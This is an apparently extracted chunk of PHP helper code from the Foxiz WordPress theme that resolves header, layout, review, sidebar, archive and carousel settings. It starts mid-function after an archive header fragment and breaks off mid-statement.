PK!w~page.phpnu[

get_queried_object_id(); if ( ! empty( $data[ $category_id ]['header_template'] ) || foxiz_get_option( 'category_header_template' ) ) { return $template_style; } if ( ! empty( $data[ $category_id ]['header_style'] ) ) { $header_style = $data[ $category_id ]['header_style']; } else { if ( ! empty( $category_header_style ) ) { $header_style = $category_header_style; } } } elseif ( is_search() ) { if ( foxiz_get_option( 'search_header_template' ) ) { return $template_style; } $search_header_style = foxiz_get_option( 'search_header_style' ); if ( ! empty( $search_header_style ) ) { $header_style = $search_header_style; } } elseif ( is_home() ) { if ( foxiz_get_option( 'blog_header_template' ) ) { return $template_style; } $blog_header_style = foxiz_get_option( 'blog_header_style' ); if ( ! empty( $blog_header_style ) ) { $header_style = $blog_header_style; } } if ( empty( $header_style ) ) { $header_style = '1'; } return $header_style; } } if ( ! function_exists( 'foxiz_get_header_settings' ) ) { /** * @param $prefix * * @return array * get header settings */ function foxiz_get_header_settings( $prefix ) { $prefix = trim( $prefix ) . '_'; $settings = foxiz_get_option(); $settings['more'] = foxiz_get_option( $prefix . 'more' ); $settings['sub_scheme'] = foxiz_get_option( $prefix . 'sub_scheme' ); $settings['nav_style'] = foxiz_get_option( $prefix . 'nav_style' ); if ( is_singular() ) { $nav_style = rb_get_meta( 'nav_style' ); if ( ! empty( $nav_style ) && 'default' !== $nav_style ) { $settings['nav_style'] = $nav_style; } } elseif ( is_category() ) { $nav_style = foxiz_get_option( 'category_nav_style' ); if ( ! empty( $nav_style ) ) { $settings['nav_style'] = $nav_style; } } elseif ( is_search() ) { $nav_style = foxiz_get_option( 'search_nav_style' ); if ( ! empty( $nav_style ) ) { $settings['nav_style'] = $nav_style; } } elseif ( is_home() ) { $nav_style = foxiz_get_option( 'blog_nav_style' ); if ( ! empty( $nav_style ) ) { $settings['nav_style'] = $nav_style; } } $settings['header_socials'] = foxiz_get_option( $prefix . 'header_socials' ); if ( empty( $settings['transprent_mobile_logo']['url'] ) ) { $settings['transprent_mobile_logo'] = foxiz_get_option( 'transparent_retina_logo' ); } return $settings; } } if ( ! function_exists( 'foxiz_get_design_standard_block' ) ) { /** * @param array $settings * @param string $prefix * * @return array|mixed * get module settings */ function foxiz_get_design_standard_block( $settings = array(), $prefix = '' ) { if ( ! empty( $settings['design_override'] ) ) { return $settings; } if ( '_' !== substr( $prefix, - 1 ) ) { $prefix = $prefix . '_'; } if ( ! is_array( $settings ) ) { $settings = array(); } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = foxiz_get_option( $prefix . 'crop_size' ); } if ( empty( $settings['featured_position'] ) ) { $settings['featured_position'] = foxiz_get_option( $prefix . 'featured_position' ); } if ( empty( $settings['entry_category'] ) ) { $settings['entry_category'] = foxiz_get_option( $prefix . 'entry_category' ); } elseif ( '-1' === (string) $settings['entry_category'] ) { $settings['entry_category'] = false; } if ( empty( $settings['hide_category'] ) ) { $settings['hide_category'] = foxiz_get_option( $prefix . 'hide_category' ); } elseif ( '-1' === (string) $settings['hide_category'] ) { $settings['hide_category'] = false; } if ( ! empty( $settings['entry_meta_bar'] ) && '-1' === (string) $settings['entry_meta_bar'] ) { $settings['entry_meta'] = []; } else { if ( empty( $settings['entry_meta_bar'] ) || 'custom' !== (string) $settings['entry_meta_bar'] ) { $settings['entry_meta'] = foxiz_get_option( $prefix . 'entry_meta' ); } else { $settings['entry_meta'] = explode( ',', trim( strval( $settings['entry_meta'] ) ) ); $settings['entry_meta'] = array_map( 'trim', $settings['entry_meta'] ); } } if ( empty( $settings['tablet_hide_meta'] ) ) { $settings['tablet_hide_meta'] = foxiz_get_option( $prefix . 'tablet_hide_meta' ); } else { if ( '-1' !== (string) $settings['tablet_hide_meta'] ) { $settings['tablet_hide_meta'] = explode( ',', trim( strval( $settings['tablet_hide_meta'] ) ) ); $settings['tablet_hide_meta'] = array_map( 'trim', $settings['tablet_hide_meta'] ); } else { $settings['tablet_hide_meta'] = false; } } if ( empty( $settings['mobile_hide_meta'] ) ) { $settings['mobile_hide_meta'] = foxiz_get_option( $prefix . 'mobile_hide_meta' ); } else { if ( '-1' !== (string) $settings['mobile_hide_meta'] ) { $settings['mobile_hide_meta'] = explode( ',', trim( strval( $settings['mobile_hide_meta'] ) ) ); $settings['mobile_hide_meta'] = array_map( 'trim', $settings['mobile_hide_meta'] ); } else { $settings['mobile_hide_meta'] = false; } } if ( empty( $settings['review'] ) ) { $settings['review'] = foxiz_get_option( $prefix . 'review' ); } elseif ( '-1' === (string) $settings['review'] ) { $settings['review'] = false; } if ( empty( $settings['review_meta'] ) ) { $settings['review_meta'] = foxiz_get_option( $prefix . 'review_meta' ); } elseif ( '-1' === (string) $settings['review_meta'] ) { $settings['review_meta'] = false; } if ( empty( $settings['entry_format'] ) ) { $settings['entry_format'] = foxiz_get_option( $prefix . 'entry_format' ); } elseif ( '-1' === (string) $settings['entry_format'] ) { $settings['entry_format'] = false; } if ( empty( $settings['bookmark'] ) ) { $settings['bookmark'] = foxiz_get_option( $prefix . 'bookmark' ); } elseif ( '-1' === (string) $settings['bookmark'] ) { $settings['bookmark'] = false; } if ( empty( $settings['excerpt'] ) ) { $settings['excerpt_length'] = foxiz_get_option( $prefix . 'excerpt_length' ); $settings['excerpt_source'] = foxiz_get_option( $prefix . 'excerpt_source' ); } if ( empty( $settings['hide_excerpt'] ) ) { $settings['hide_excerpt'] = foxiz_get_option( $prefix . 'hide_excerpt' ); } elseif ( '-1' === (string) $settings['hide_excerpt'] ) { $settings['hide_excerpt'] = false; } if ( empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_get_option( $prefix . 'readmore' ); } elseif ( '-1' === (string) $settings['readmore'] ) { $settings['readmore'] = false; } if ( ! empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_get_option( 'readmore_label' ); if ( empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_html__( 'Read More', 'foxiz' ); } else { /** make sure this string compatible with WPML plugins */ $settings['readmore'] = apply_filters( 'the_title_rss', $settings['readmore'], 10 ); } } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = foxiz_get_option( $prefix . 'title_tag' ); } if ( empty( $settings['sub_title_tag'] ) ) { $settings['sub_title_tag'] = foxiz_get_option( $prefix . 'sub_title_tag' ); } if ( empty( $settings['sub_sub_title_tag'] ) ) { $settings['sub_sub_title_tag'] = foxiz_get_option( $prefix . 'sub_sub_title_tag' ); } if ( ! empty( $settings['sponsor_meta'] ) && '-1' === (string) $settings['sponsor_meta'] ) { $settings['sponsor_meta'] = false; } elseif ( empty( $settings['sponsor_meta'] ) ) { $settings['sponsor_meta'] = foxiz_get_option( $prefix . 'sponsor_meta' ); } if ( empty( $settings['title_classes'] ) ) { $settings['title_classes'] = foxiz_get_option( $prefix . 'title_classes' ); } if ( empty( $settings['counter'] ) ) { $settings['counter'] = foxiz_get_option( $prefix . 'counter' ); } elseif ( '-1' === (string) $settings['counter'] ) { $settings['counter'] = false; } if ( empty( $settings['box_style'] ) ) { $settings['box_style'] = foxiz_get_option( $prefix . 'box_style' ); } if ( empty( $settings['center_mode'] ) ) { $settings['center_mode'] = foxiz_get_option( $prefix . 'center_mode' ); } elseif ( '-1' === (string) $settings['center_mode'] ) { $settings['center_mode'] = false; } if ( empty( $settings['middle_mode'] ) ) { $settings['middle_mode'] = foxiz_get_option( $prefix . 'middle_mode' ); } if ( ! empty( $settings['slider'] ) && '-1' === (string) $settings['slider'] ) { $settings['slider'] = false; } if ( ! empty( $settings['carousel'] ) && '-1' === (string) $settings['carousel'] ) { $settings['carousel'] = false; } if ( ! empty( $settings['carousel_dot'] ) && '-1' === (string) $settings['carousel_dot'] ) { $settings['carousel_dot'] = false; } if ( ! empty( $settings['carousel_nav'] ) && '-1' === (string) $settings['carousel_nav'] ) { $settings['carousel_nav'] = false; } if ( empty( $settings['slider_play'] ) ) { $settings['slider_play'] = foxiz_get_option( 'slider_play' ); } elseif ( '-1' === (string) $settings['slider_play'] ) { $settings['slider_play'] = false; } if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = foxiz_get_option( 'slider_speed' ); } if ( empty( $settings['slider_fmode'] ) ) { $settings['slider_fmode'] = foxiz_get_option( 'slider_fmode' ); } elseif ( '-1' === (string) $settings['slider_fmode'] ) { $settings['slider_fmode'] = false; } /** disable carousel & sliders */ if ( foxiz_is_amp() ) { $settings['carousel'] = false; $settings['slider'] = false; } return $settings; } } if ( ! function_exists( 'foxiz_get_design_builder_block' ) ) { /** * @param $settings * @param $prefix * * @return array|mixed */ function foxiz_get_design_builder_block( $settings ) { if ( ! is_array( $settings ) ) { $settings = array(); } if ( ! empty( $settings['entry_category'] ) && '-1' === (string) $settings['entry_category'] ) { $settings['entry_category'] = false; } if ( ! empty( $settings['entry_format'] ) && '-1' === (string) $settings['entry_format'] ) { $settings['entry_format'] = false; } if ( ! empty( $settings['entry_meta'] ) ) { $settings['entry_meta'] = explode( ',', trim( strval( $settings['entry_meta'] ) ) ); $settings['entry_meta'] = array_map( 'trim', $settings['entry_meta'] ); } if ( ! empty( $settings['tablet_hide_meta'] ) ) { if ( '-1' !== (string) $settings['tablet_hide_meta'] ) { $settings['tablet_hide_meta'] = explode( ',', trim( strval( $settings['tablet_hide_meta'] ) ) ); $settings['tablet_hide_meta'] = array_map( 'trim', $settings['tablet_hide_meta'] ); } else { $settings['tablet_hide_meta'] = false; } } if ( ! empty( $settings['mobile_hide_meta'] ) ) { if ( '-1' !== (string) $settings['mobile_hide_meta'] ) { $settings['mobile_hide_meta'] = explode( ',', trim( strval( $settings['mobile_hide_meta'] ) ) ); $settings['mobile_hide_meta'] = array_map( 'trim', $settings['mobile_hide_meta'] ); } else { $settings['mobile_hide_meta'] = false; } } if ( ! empty( $settings['review'] ) && ( '-1' === (string) $settings['review'] ) ) { $settings['review'] = false; } if ( ! empty( $settings['review_meta'] ) && ( '-1' === (string) $settings['review_meta'] ) ) { $settings['review_meta'] = false; } if ( ! empty( $settings['bookmark'] ) && ( '-1' === (string) $settings['bookmark'] ) ) { $settings['bookmark'] = false; } if ( ! empty( $settings['counter'] ) && ( '-1' === (string) $settings['counter'] ) ) { $settings['counter'] = false; } if ( empty( $settings['readmore'] ) || '-1' === (string) $settings['readmore'] ) { $settings['readmore'] = false; } else { $settings['readmore'] = foxiz_get_option( 'readmore_label' ); if ( empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_html__( 'Read More', 'foxiz' ); } } if ( ! empty( $settings['sponsor_meta'] ) && ( '-1' === (string) $settings['sponsor_meta'] ) ) { $settings['sponsor_meta'] = false; } elseif ( empty( $settings['sponsor_meta'] ) ) { $settings['sponsor_meta'] = 1; } if ( ! empty( $settings['center_mode'] ) && ( '-1' === (string) $settings['center_mode'] ) ) { $settings['center_mode'] = false; } if ( ! empty( $settings['slider'] ) && '-1' === (string) $settings['slider'] ) { $settings['slider'] = false; } if ( ! empty( $settings['carousel'] ) && '-1' === (string) $settings['carousel'] ) { $settings['carousel'] = false; } if ( ! empty( $settings['carousel_dot'] ) && '-1' === (string) $settings['carousel_dot'] ) { $settings['carousel_dot'] = false; } if ( ! empty( $settings['carousel_nav'] ) && '-1' === (string) $settings['carousel_nav'] ) { $settings['carousel_nav'] = false; } if ( empty( $settings['slider_play'] ) ) { $settings['slider_play'] = foxiz_get_option( 'slider_play' ); } elseif ( '-1' === (string) $settings['slider_play'] ) { $settings['slider_play'] = false; } if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = foxiz_get_option( 'slider_speed' ); } if ( empty( $settings['slider_fmode'] ) ) { $settings['slider_fmode'] = foxiz_get_option( 'slider_fmode' ); } elseif ( '-1' === (string) $settings['slider_fmode'] ) { $settings['slider_fmode'] = false; } /** disable carousel & sliders */ if ( foxiz_is_amp() ) { $settings['carousel'] = false; $settings['slider'] = false; } return $settings; } } if ( ! function_exists( 'foxiz_is_featured_image' ) ) { /** * @param string $size * * @return bool * check featured image */ function foxiz_is_featured_image( $size = 'full' ) { if ( ! has_post_thumbnail() ) { return false; } $thumbnail = get_the_post_thumbnail( null, $size ); if ( empty( $thumbnail ) ) { return false; } return true; } } if ( ! function_exists( 'foxiz_detect_dynamic_query' ) ) { /** * @param $settings * * @return mixed * foxiz_detect_query */ function foxiz_detect_dynamic_query( $settings ) { if ( ! empty( $settings['category'] ) && 'dynamic' === (string) $settings['category'] ) { if ( is_category() ) { global $wp_query; $settings['category'] = $wp_query->get_queried_object_id(); } } if ( empty( $settings['unique'] ) || '-1' === (string) $settings['unique'] ) { $settings['unique'] = false; } return $settings; } } if ( ! function_exists( 'foxiz_get_single_setting' ) ) { /** * @param $name * @param string $opt_name * @param string $post_id * * @return false|mixed|void */ function foxiz_get_single_setting( $name, $opt_name = '', $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $setting = rb_get_meta( $name, $post_id ); if ( empty( $setting ) || 'default' === $setting ) { if ( empty( $opt_name ) ) { $opt_name = 'single_post_' . $name; } $setting = foxiz_get_option( $opt_name ); } if ( ! is_array( $setting ) && '-1' === (string) $setting ) { return false; } return $setting; } } if ( ! function_exists( 'foxiz_is_review_post' ) ) { /** * @param string $post_id * * @return bool */ function foxiz_is_review_post( $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $review = rb_get_meta( 'review', $post_id ); if ( empty( $review ) || '-1' === (string) $review ) { return false; } return true; } } if ( ! function_exists( 'foxiz_get_review_settings' ) ) { /** * @param string $post_id * * @return array|false */ function foxiz_get_review_settings( $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } if ( ! foxiz_is_review_post( $post_id ) ) { return false; } $settings = array( 'average' => '', 'title' => rb_get_meta( 'review_title', $post_id ), 'type' => foxiz_get_single_setting( 'review_type' ), 'criteria' => rb_get_meta( 'review_criteria', $post_id ), 'user' => foxiz_get_single_setting( 'user_can_review' ), 'image' => foxiz_get_single_setting( 'review_image' ), 'meta' => rb_get_meta( 'review_meta', $post_id ), 'pros' => rb_get_meta( 'review_pros', $post_id ), 'cons' => rb_get_meta( 'review_cons', $post_id ), 'summary' => rb_get_meta( 'review_summary', $post_id ), 'button' => rb_get_meta( 'review_button', $post_id ), 'destination' => rb_get_meta( 'review_destination', $post_id ), 'price' => rb_get_meta( 'review_price', $post_id ), 'currency' => rb_get_meta( 'review_currency', $post_id ), 'schema' => foxiz_get_single_setting( 'review_schema' ), 'user_rating' => get_post_meta( $post_id, 'foxiz_user_rating', true ) ); if ( is_array( $settings['criteria'] ) ) { $index = 0; $total = 0; foreach ( $settings['criteria'] as $item ) { if ( ! empty( $item['rating'] ) ) { $value = floatval( $item['rating'] ); if ( empty( $settings['type'] ) || 'star' === $settings['type'] ) { if ( $value > 5 ) { $value = 5; } } else { if ( $value > 10 ) { $value = 10; } } $total += $value; $index ++; } } if ( ! empty( $index ) && ! empty( $total ) ) { $settings['average'] = round( $total / $index, 1 ); } } return $settings; } } if ( ! function_exists( 'foxiz_get_single_sidebar_position' ) ) { /** * @param string $name * @param string $opt_name * @param string $post_id * * @return false|mixed|string|void */ function foxiz_get_single_sidebar_position( $name = 'sidebar_position', $opt_name = '', $post_id = '' ) { if ( foxiz_is_amp() && foxiz_get_option( 'amp_disable_single_sidebar' ) ) { return 'none'; } if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $setting = ''; if ( ! empty( $name ) ) { $setting = rb_get_meta( $name, $post_id ); } if ( empty( $setting ) || 'default' === $setting ) { if ( empty( $opt_name ) ) { $opt_name = 'single_post_' . $name; } $setting = foxiz_get_option( $opt_name ); } if ( empty( $setting ) || 'default' === $setting ) { $setting = foxiz_get_option( 'global_sidebar_position' ); } return $setting; } } if ( ! function_exists( 'foxiz_get_single_layout' ) ) { /** * @return false|mixed|void */ function foxiz_get_single_layout() { $post_format = get_post_format( get_the_ID() ); switch ( $post_format ) { case 'video' : $layout = foxiz_get_single_setting( 'video_layout' ); break; case 'audio' : $layout = foxiz_get_single_setting( 'audio_layout' ); break; case 'gallery' : $layout = foxiz_get_single_setting( 'gallery_layout' ); break; default: $layout = foxiz_get_single_setting( 'layout' ); } if ( empty( $layout ) ) { $layout = 'standard_1'; } return $layout; } } if ( ! function_exists( 'foxiz_is_sponsored_post' ) ) { /** * @param string $post_id * * @return bool */ function foxiz_is_sponsored_post( $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $sponsor = rb_get_meta( 'sponsor_post', $post_id ); if ( ! empty( $sponsor ) && '1' === (string) $sponsor ) { return true; } return false; } } if ( ! function_exists( 'foxiz_get_related_data' ) ) { /** * @param array $settings * * @return WP_Query */ function foxiz_get_related_data( $settings = array() ) { $params = array( 'no_found_rows' => true, ); if ( ! empty( $settings['total'] ) ) { $params['posts_per_page'] = $settings['total']; } if ( ! empty( $settings['offset'] ) ) { $params['offset'] = $settings['offset']; } if ( ! empty( $settings['ids'] ) ) { $params['post_in'] = esc_attr( $settings['ids'] ); } if ( ! empty( $settings['post_id'] ) ) { $params['post_id'] = esc_attr( $settings['post_id'] ); } return foxiz_query_related( $params ); } } if ( ! function_exists( 'foxiz_get_single_sticky_sidebar' ) ) { /** * @param string $prefix * * @return bool */ function foxiz_get_single_sticky_sidebar( $prefix = 'single_post_' ) { $setting = foxiz_get_option( $prefix . 'sticky_sidebar' ); if ( empty( $setting ) || 'default' === $setting ) { $setting = foxiz_get_option( 'sticky_sidebar' ); }; if ( '1' === (string) $setting ) { return true; } return false; } } if ( ! function_exists( 'foxiz_get_category_page_settings' ) ) { function foxiz_get_category_page_settings( $category_id = '' ) { if ( ! is_category() ) { return false; } if ( empty( $category_id ) ) { global $wp_query; $category_id = $wp_query->get_queried_object_id(); } $prefix = 'category_'; $data = get_option( 'foxiz_category_meta', array() ); if ( ! isset( $data[ $category_id ] ) ) { $data[ $category_id ] = array(); } $settings = $data[ $category_id ]; $settings['category'] = $category_id; $settings['category_name'] = get_cat_name( $category_id ); $settings['uuid'] = 'uid_c' . $category_id; if ( empty( $settings['category_header'] ) ) { $settings['category_header'] = foxiz_get_option( $prefix . 'category_header' ); } if ( empty( $settings['breadcrumb'] ) ) { $settings['breadcrumb'] = foxiz_get_option( $prefix . 'breadcrumb' ); } if ( '-1' === (string) $settings['breadcrumb'] ) { $settings['breadcrumb'] = false; } if ( empty( $settings['featured_image'] ) || ! is_array( $settings['featured_image'] ) || ! count( $settings['featured_image'] ) ) { $settings['featured_image'] = foxiz_get_option( $prefix . 'featured_image' ); if ( ! empty( $settings['featured_image'] ) ) { $settings['featured_image'] = explode( ',', $settings['featured_image'] ); } } if ( empty( $settings['pattern'] ) ) { $settings['pattern'] = foxiz_get_option( $prefix . 'pattern' ); } if ( empty( $settings['subcategory'] ) ) { $settings['subcategory'] = foxiz_get_option( $prefix . 'subcategory' ); } if ( '-1' === (string) $settings['subcategory'] ) { $settings['subcategory'] = false; } if ( empty( $settings['template'] ) ) { $settings['template'] = foxiz_get_option( $prefix . 'template' ); } if ( empty( $settings['template_display'] ) ) { $settings['template_display'] = foxiz_get_option( $prefix . 'template_display' ); } if ( empty( $settings['template_global'] ) ) { $settings['template_global'] = foxiz_get_option( $prefix . 'template_global' ); } if ( empty( $settings['blog_heading'] ) ) { $settings['blog_heading'] = foxiz_get_option( $prefix . 'blog_heading' ); } if ( empty( $settings['blog_heading_layout'] ) ) { $settings['blog_heading_layout'] = foxiz_get_option( $prefix . 'blog_heading_layout' ); } if ( empty( $settings['blog_heading_tag'] ) ) { $settings['blog_heading_tag'] = foxiz_get_option( $prefix . 'blog_heading_tag' ); } if ( empty( $settings['posts_per_page'] ) ) { $settings['posts_per_page'] = foxiz_get_option( $prefix . 'posts_per_page' ); } if ( empty( $settings['pagination'] ) ) { $settings['pagination'] = foxiz_get_option( $prefix . 'pagination' ); } if ( empty( $settings['layout'] ) ) { $settings['layout'] = foxiz_get_option( $prefix . 'layout' ); } if ( empty( $settings['columns'] ) ) { $settings['columns'] = foxiz_get_option( $prefix . 'columns' ); } if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = foxiz_get_option( $prefix . 'columns_tablet' ); } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = foxiz_get_option( $prefix . 'columns_mobile' ); } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = foxiz_get_option( $prefix . 'column_gap' ); } if ( empty( $settings['sidebar_position'] ) ) { $settings['sidebar_position'] = foxiz_get_option( $prefix . 'sidebar_position' ); } if ( empty( $settings['sidebar_name'] ) || 'default' === $settings['sidebar_name'] ) { $settings['sidebar_name'] = foxiz_get_option( $prefix . 'sidebar_name' ); } if ( empty( $settings['sticky_sidebar'] ) ) { $settings['sticky_sidebar'] = foxiz_get_option( $prefix . 'sticky_sidebar' ); if ( empty( $settings['sticky_sidebar'] ) ) { $settings['sticky_sidebar'] = foxiz_get_option( 'sticky_sidebar' ); } } if ( '-1' === (string) $settings['sticky_sidebar'] ) { $settings['sticky_sidebar'] = false; } /** blog design */ if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = foxiz_get_option( $prefix . 'crop_size' ); } if ( empty( $settings['entry_category'] ) ) { $settings['entry_category'] = foxiz_get_option( $prefix . 'entry_category' ); } if ( empty( $settings['entry_meta_bar'] ) ) { $settings['entry_meta_bar'] = foxiz_get_option( $prefix . 'entry_meta_bar' ); if ( ! empty( $settings['entry_meta_bar'] ) && 'custom' === $settings['entry_meta_bar'] ) { $settings['entry_meta'] = foxiz_get_option( $prefix . 'entry_meta' ); if ( is_array( $settings['entry_meta'] ) ) { $settings['entry_meta'] = implode( ',', $settings['entry_meta'] ); } } } if ( empty( $settings['review'] ) ) { $settings['review'] = foxiz_get_option( $prefix . 'review' ); } if ( empty( $settings['review_meta'] ) ) { $settings['review_meta'] = foxiz_get_option( $prefix . 'review_meta' ); } if ( empty( $settings['entry_format'] ) ) { $settings['entry_format'] = foxiz_get_option( $prefix . 'entry_format' ); } if ( empty( $settings['bookmark'] ) ) { $settings['bookmark'] = foxiz_get_option( $prefix . 'bookmark' ); } if ( empty( $settings['excerpt'] ) ) { $settings['excerpt'] = foxiz_get_option( $prefix . 'excerpt' ); if ( ! empty( $settings['excerpt'] ) ) { $settings['excerpt_length'] = foxiz_get_option( $prefix . 'excerpt_length' ); $settings['excerpt_source'] = foxiz_get_option( $prefix . 'excerpt_source' ); } } if ( empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_get_option( $prefix . 'readmore' ); } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = foxiz_get_option( $prefix . 'title_tag' ); } if ( empty( $settings['hide_category'] ) ) { $settings['hide_category'] = foxiz_get_option( $prefix . 'hide_category' ); } if ( empty( $settings['tablet_hide_meta'] ) ) { $settings['tablet_hide_meta'] = foxiz_get_option( $prefix . 'tablet_hide_meta' ); } if ( empty( $settings['mobile_hide_meta'] ) ) { $settings['mobile_hide_meta'] = foxiz_get_option( $prefix . 'mobile_hide_meta' ); } if ( empty( $settings['hide_excerpt'] ) ) { $settings['hide_excerpt'] = foxiz_get_option( $prefix . 'hide_excerpt' ); } return $settings; } } if ( ! function_exists( 'foxiz_get_archive_page_settings' ) ) { /** * @param string $prefix * @param array $settings * * @return array|mixed */ function foxiz_get_archive_page_settings( $prefix = '', $settings = array() ) { if ( empty( $prefix ) ) { $prefix = 'archive_'; } if ( empty( $settings['uuid'] ) ) { $settings['uuid'] = 'uid_' . $prefix . get_queried_object_id(); } $settings['blog_heading'] = foxiz_get_option( $prefix . 'blog_heading' ); $settings['blog_heading_layout'] = foxiz_get_option( $prefix . 'blog_heading_layout' ); $settings['blog_heading_tag'] = foxiz_get_option( $prefix . 'blog_heading_tag' ); $settings['pattern'] = foxiz_get_option( $prefix . 'pattern' ); $settings['template'] = foxiz_get_option( $prefix . 'template' ); $settings['template_bottom'] = foxiz_get_option( $prefix . 'template_bottom' ); $settings['template_display'] = foxiz_get_option( $prefix . 'template_display' ); $settings['template_global'] = foxiz_get_option( $prefix . 'template_global' ); $settings['breadcrumb'] = foxiz_get_option( $prefix . 'breadcrumb' ); $settings['posts_per_page'] = foxiz_get_option( $prefix . 'posts_per_page' ); if ( empty( $settings['posts_per_page'] ) ) { $settings['posts_per_page'] = get_option( 'posts_per_page' ); } $settings['pagination'] = foxiz_get_option( $prefix . 'pagination' ); if ( empty( $settings['pagination'] ) ) { $settings['pagination'] = 'number'; } $settings['layout'] = foxiz_get_option( $prefix . 'layout' ); $settings['columns'] = foxiz_get_option( $prefix . 'columns' ); $settings['columns_tablet'] = foxiz_get_option( $prefix . 'columns_tablet' ); $settings['columns_mobile'] = foxiz_get_option( $prefix . 'columns_mobile' ); $settings['column_gap'] = foxiz_get_option( $prefix . 'column_gap' ); $settings['sidebar_position'] = foxiz_get_option( $prefix . 'sidebar_position' ); $settings['sidebar_name'] = foxiz_get_option( $prefix . 'sidebar_name' ); $settings['sticky_sidebar'] = foxiz_get_option( $prefix . 'sticky_sidebar' ); if ( empty( $settings['sticky_sidebar'] ) ) { $settings['sticky_sidebar'] = foxiz_get_option( 'sticky_sidebar' ); } if ( '-1' === (string) $settings['sticky_sidebar'] ) { $settings['sticky_sidebar'] = false; } $settings['crop_size'] = foxiz_get_option( $prefix . 'crop_size' ); $settings['entry_category'] = foxiz_get_option( $prefix . 'entry_category' ); $settings['entry_meta_bar'] = foxiz_get_option( $prefix . 'entry_meta_bar' ); if ( ! empty( $settings['entry_meta_bar'] ) && 'custom' === $settings['entry_meta_bar'] ) { $settings['entry_meta'] = foxiz_get_option( $prefix . 'entry_meta' ); if ( is_array( $settings['entry_meta'] ) ) { $settings['entry_meta'] = implode( ',', $settings['entry_meta'] ); } } $settings['review'] = foxiz_get_option( $prefix . 'review' ); $settings['review_meta'] = foxiz_get_option( $prefix . 'review_meta' ); $settings['entry_format'] = foxiz_get_option( $prefix . 'entry_format' ); $settings['bookmark'] = foxiz_get_option( $prefix . 'bookmark' ); $settings['excerpt'] = foxiz_get_option( $prefix . 'excerpt' ); if ( ! empty( $settings['excerpt'] ) ) { $settings['excerpt_length'] = foxiz_get_option( $prefix . 'excerpt_length' ); $settings['excerpt_source'] = foxiz_get_option( $prefix . 'excerpt_source' ); } $settings['readmore'] = foxiz_get_option( $prefix . 'readmore' ); $settings['title_tag'] = foxiz_get_option( $prefix . 'title_tag' ); $settings['hide_category'] = foxiz_get_option( $prefix . 'hide_category' ); $settings['tablet_hide_meta'] = foxiz_get_option( $prefix . 'tablet_hide_meta' ); $settings['mobile_hide_meta'] = foxiz_get_option( $prefix . 'mobile_hide_meta' ); $settings['hide_excerpt'] = foxiz_get_option( $prefix . 'hide_excerpt' ); return $settings; } } if ( ! function_exists( 'foxiz_get_search_page_settings' ) ) { /** * @return array */ function foxiz_get_search_page_settings() { $settings = foxiz_get_archive_page_settings( 'search_' ); $settings['s'] = get_search_query( 's' ); $settings['posts_per_page'] = foxiz_get_option( 'search_posts_per_page' ); $settings['template_global'] = foxiz_get_option( 'search_template_global' ); if ( empty( $settings['posts_per_page'] ) ) { $settings['posts_per_page'] = get_option( 'posts_per_page' ); } return $settings; } } if ( ! function_exists( 'foxiz_get_page_header_style' ) ) { /** * @param string $page_id * * @return false|mixed|string|void */ function foxiz_get_page_header_style( $page_id = '' ) { if ( empty( $page_id ) ) { $page_id = get_the_ID(); } $setting = rb_get_meta( 'page_header_style', $page_id ); if ( empty( $setting ) || 'default' === $setting ) { $setting = foxiz_get_option( 'page_page_header_style' ); } if ( empty( $setting ) ) { $setting = '1'; } return $setting; } } if ( ! function_exists( 'foxiz_get_page_content_width' ) ) { /** * @param string $page_id * * @return false|mixed|void */ function foxiz_get_page_content_width( $page_id = '' ) { if ( empty( $page_id ) ) { $page_id = get_the_ID(); } $setting = rb_get_meta( 'width_wo_sb', $page_id ); if ( empty( $setting ) || 'default' === $setting ) { $setting = foxiz_get_option( 'page_width_wo_sb' ); } elseif ( '-1' === (string) $setting ) { return false; } return $setting; } } /** * @param array $settings */ if ( ! function_exists( 'foxiz_carousel_footer' ) ) { function foxiz_carousel_footer( $settings = array() ) { if ( ! empty( $settings['carousel_dot'] ) || ! empty( $settings['carousel_nav'] ) ) : $classes = 'slider-footer'; if ( ! empty( $settings['color_scheme'] ) ) { $classes .= ' light-scheme'; } ?>
'3', 'columns_tablet' => '2', 'columns_mobile' => '1', 'carousel_gap' => '', 'carousel_gap_tablet' => '', 'carousel_gap_mobile' => '', 'slider_play' => '', 'slider_fmode' => '', 'slider_centered' => '', ) ); if ( (string) $settings['carousel_gap'] === '-1' ) { $settings['carousel_gap'] = 0; } if ( (string) $settings['carousel_gap_tablet'] === '-1' ) { $settings['carousel_gap_tablet'] = 0; } if ( (string) $settings['carousel_gap_mobile'] === '-1' ) { $settings['carousel_gap_mobile'] = 0; } if ( ! empty( $settings['carousel_columns'] ) ) { $settings['columns'] = $settings['carousel_columns']; } if ( ! empty( $settings['carousel_columns_tablet'] ) ) { $settings['columns_tablet'] = $settings['carousel_columns_tablet']; } if ( ! empty( $settings['carousel_columns_mobile'] ) ) { $settings['columns_mobile'] = $settings['carousel_columns_mobile']; } if ( empty( $settings['carousel_wide_columns'] ) ) { $settings['carousel_wide_columns'] = $settings['columns']; } if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = 5000; } if ( empty( $settings['slider_centered'] ) || '-1' === (string) $settings['slider_centered'] ) { $settings['slider_centered'] = 0; } else { $settings['slider_centered'] = 1; } echo ' data-wcol="' . esc_attr( $settings['carousel_wide_columns'] ) . '"'; echo ' data-col="' . esc_attr( $settings['columns'] ) . '" data-tcol="' . esc_attr( $settings['columns_tablet'] ) . '" data-mcol="' . esc_attr( $settings['columns_mobile'] ) . '"'; echo ' data-gap="' . esc_attr( 